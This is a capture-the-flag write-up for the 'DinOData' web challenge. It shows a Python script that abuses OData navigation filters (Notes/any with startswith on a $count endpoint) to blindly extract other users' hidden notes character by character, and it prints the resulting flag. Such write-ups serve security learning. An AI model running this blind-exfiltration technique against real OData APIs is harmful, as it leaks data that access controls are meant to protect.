Difficulty
medium
Categories
web
Description
DinOData gives developers instant access to rich, structured dinosaur data through a fast, modern interface. Build educational apps, research tools, or games with reliable prehistoric data at your fingertips.
Author
NoRelect
Service
Challenge has a remote instance.

Overview

The challenge serves a swagger UI allowing us to call a lot of different API methods:

Auth
----
POST    /auth/login
POST    /auth/register

Metadata
--------
GET     /odata
GET     /odata/$metadata

Dinosaur
--------
GET     /odata/Dinosaur
POST    /odata/Dinosaur
GET     /odata/Dinosaur({key})
PUT     /odata/Dinosaur({key})
DELETE  /odata/Dinosaur({key})
GET     /odata/Dinosaur/$count
GET     /odata/Dinosaur/{key}
PUT     /odata/Dinosaur/{key}
DELETE  /odata/Dinosaur/{key}

Note
----
GET     /odata/Note
POST    /odata/Note
GET     /odata/Note({key})
DELETE  /odata/Note({key})
GET     /odata/Note/$count
GET     /odata/Note/{key}
DELETE  /odata/Note/{key}

Scientist
---------
GET     /odata/Scientist
GET     /odata/Scientist({key})
GET     /odata/Scientist/$count
GET     /odata/Scientist/{key}

Most importantly, the API seems to use OData, which is basically Microsofts implementation of REST, but on crack.

It supports filtering, including connected objects, counting objects, and a lot more.

Solution

The assumption is that the flag probably resides inside of a Note objects. However, after authenticating and checking, /odata/Note and /odata/Note/$count indicate that there are no notes available, at least for our current user.

Initial idea

After playing around a bit, I found this medium post, explaining how you can use the startswith filter, in order to conditionally include fields based on their content.

I built a simple REPL script to more easily explore the API:

import requests
from rich import print
from easyrepl import REPL
URL = "https://<chall>:1337"

headers = {
        "Content-Type": "application/json;odata.metadata=full;odata.streaming=true",
        "Accept": "application/json;odata.metadata=full;odata.streaming=true"
        }
requests.post(f"{URL}/auth/register", json={"name": "a", "password": "b"}, headers=headers)
token = requests.post(f"{URL}/auth/login", json={"name": "a", "password": "b"}, headers=headers).json()["token"]
headers["Authorization"] = f"Bearer {token}"

for line in REPL(prompt="-> "):
    j = requests.get(f"{URL}/odata{line}", headers=headers)
    print(f"status: {j.status_code}")
    try:
        print(j.json())
    except:
        print(j.text)

Getting the schema

Fetching /odata/$metadata reveals the relationships between the properties:

<?xml version="1.0" encoding="utf-8"?>
<edmx:Edmx Version="4.0"
	xmlns:edmx="http://docs.oasis-open.org/odata/ns/edmx">
	<edmx:DataServices>
		<Schema Namespace="DinoData.Models"
			xmlns="http://docs.oasis-open.org/odata/ns/edm">
			<EntityType Name="Dinosaur">
				<Key>
					<PropertyRef Name="Id" />
				</Key>
				<Property Name="Id" Type="Edm.Int32" Nullable="false" />
				<Property Name="Name" Type="Edm.String" Nullable="false" />
				<Property Name="Period" Type="Edm.String" Nullable="false" />
				<Property Name="Diet" Type="Edm.String" Nullable="false" />
				<Property Name="LengthMeters" Type="Edm.Double" Nullable="false" />
				<Property Name="WeightTons" Type="Edm.Double" Nullable="false" />
			</EntityType>
			<EntityType Name="Scientist">
				<Key>
					<PropertyRef Name="Id" />
				</Key>
				<Property Name="Id" Type="Edm.Int32" Nullable="false" />
				<Property Name="Name" Type="Edm.String" Nullable="false" />
				<Property Name="YearsExperience" Type="Edm.Int32" Nullable="false" />
				<NavigationProperty Name="Notes" Type="Collection(DinoData.Models.Note)" />
			</EntityType>
			<EntityType Name="Note">
				<Key>
					<PropertyRef Name="Id" />
				</Key>
				<Property Name="Id" Type="Edm.Int32" Nullable="false" />
				<Property Name="Content" Type="Edm.String" Nullable="false" />
				<Property Name="ScientistId" Type="Edm.Int32" />
				<NavigationProperty Name="Scientist" Type="DinoData.Models.Scientist">
					<ReferentialConstraint Property="ScientistId" ReferencedProperty="Id" />
				</NavigationProperty>
			</EntityType>
		</Schema>
		<Schema Namespace="Default"
			xmlns="http://docs.oasis-open.org/odata/ns/edm">
			<EntityContainer Name="Container">
				<EntitySet Name="Dinosaur" EntityType="DinoData.Models.Dinosaur" />
				<EntitySet Name="Scientist" EntityType="DinoData.Models.Scientist">
					<NavigationPropertyBinding Path="Notes" Target="Note" />
				</EntitySet>
				<EntitySet Name="Note" EntityType="DinoData.Models.Note">
					<NavigationPropertyBinding Path="Scientist" Target="Scientist" />
				</EntitySet>
			</EntityContainer>
		</Schema>
	</edmx:DataServices>
</edmx:Edmx>

We can see the NavigationProperty to Note for the Scientist schema.

Abusing the relationship

This seems a lot like a chance for a blind exfiltration, if we have an endpoint that allows us to access foreign note properties. The official docs show us how to use query options:

# curl -H "Authorization: Bearer $TOKEN" \
    "https://<chall>:1337/odata/Scientist/\$count?\$filter=Notes/any(d:+startswith(d/Content,+'d'))"
1

This means we can write a script to exfiltrate it:

import requests
from rich import print
URL = "https://<chall>:1337"

headers = {
        "Content-Type": "application/json;odata.metadata=full;odata.streaming=true",
        "Accept": "application/json;odata.metadata=full;odata.streaming=true"
        }
requests.post(f"{URL}/auth/register", json={"name": "a", "password": "b"}, headers=headers)
token = requests.post(f"{URL}/auth/login", json={"name": "a", "password": "b"}, headers=headers).json()["token"]
headers["Authorization"] = f"Bearer {token}"

def attempt(guess):
    s = requests.get(f"{URL}/odata/Scientist/$count?$filter=Notes/any(d: startswith(d/Content, '{guess}'))", headers=headers)
    return int(s.text) > 0

charset = "_abcdefghijklmnopqrstuvwxyz1234567890{}"
known = "dach2026{" #}
while True:
    for c in charset:
        cur = known+c
        if attempt(cur):
            known=cur
            print(known)
            break

Flag:

dach2026{n0_r3st_f0r_th3_m1cr0s0ft_d3v5_0807554f31d3}